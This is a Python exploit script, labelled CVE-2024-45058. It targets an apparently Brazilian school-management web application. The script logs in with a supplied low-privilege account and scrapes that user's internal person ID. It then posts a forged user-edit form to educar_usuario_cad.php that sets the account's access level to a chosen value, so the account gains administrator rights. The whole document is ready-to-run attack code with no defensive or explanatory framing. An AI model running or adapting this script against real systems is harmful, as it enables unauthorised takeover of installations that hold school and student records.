from bs4 import BeautifulSoup import argparse import requests class Exploit: def __init__(self, args): self.__TARGET = args.target self.__USER = args.username self.__PASS = args.password self.__NIVEL_USUARIO_ID = args.id self.__session = requests.Session() self.__login() self.__REF_PESSOA_ID = self.__fetch_ref_pessoa() def __fetch_ref_pessoa(self): print("[*] Fetching ref_pessoa ID...", end="\r") _soup = BeautifulSoup(self.__session.get(f"{self.__TARGET}/intranet/educar_usuario_lst.php?busca=S&matricula={self.__USER}").text, "html.parser") _td = _soup.find("form", {"id": "form_resultado"}).find("table", {"class": "tablelistagem"}).find_all("tr")[2].find_all("td")[0] ref_pessoa_id = _td.find("a")["href"].split("=")[-1] print(f"[x] Fetching ref_pessoa ID ==> {ref_pessoa_id}") return ref_pessoa_id def __login(self): print("[*] Logging in...") data = {"login": self.__USER, "password": self.__PASS} self.__session.post(f"{self.__TARGET}/login", data=data) def main(self): print(f"[*] Trying to change the nivel_usuario_ to {self.__NIVEL_USUARIO_ID}") data = { 'tipoacao': 'Editar', 'nome': '', 'tempo_expira_senha': '0', '_senha': '', 'email': '', 'data_expiracao': '', 'ativo': '1', 'ref_cod_funcionario_vinculo': '1', 'ref_cod_tipo_usuario': '1', 'ref_cod_instituicao': '1', 'matricula_interna': '', 'nivel_usuario_': self.__NIVEL_USUARIO_ID, 'ref_pessoa': self.__REF_PESSOA_ID, 'matricula': self.__USER, } self.__session.post(f"{self.__TARGET}/intranet/educar_usuario_cad.php", data=data) print(f"[!] The user should have admin privileges now!") if __name__ == "__main__": parser = argparse.ArgumentParser(description = "CVE-2024-45058 exploit") parser.add_argument("-t", "--target", help="Vulnerable target", required=True) parser.add_argument("-u", "--username", help="Account username", required=True) parser.add_argument("-p", "--password", help="Account password", required=True) parser.add_argument("-i", "--id", help="nivel_usuario_ ID to be set", required=True) args = parser.parse_args() Exploit(args).main()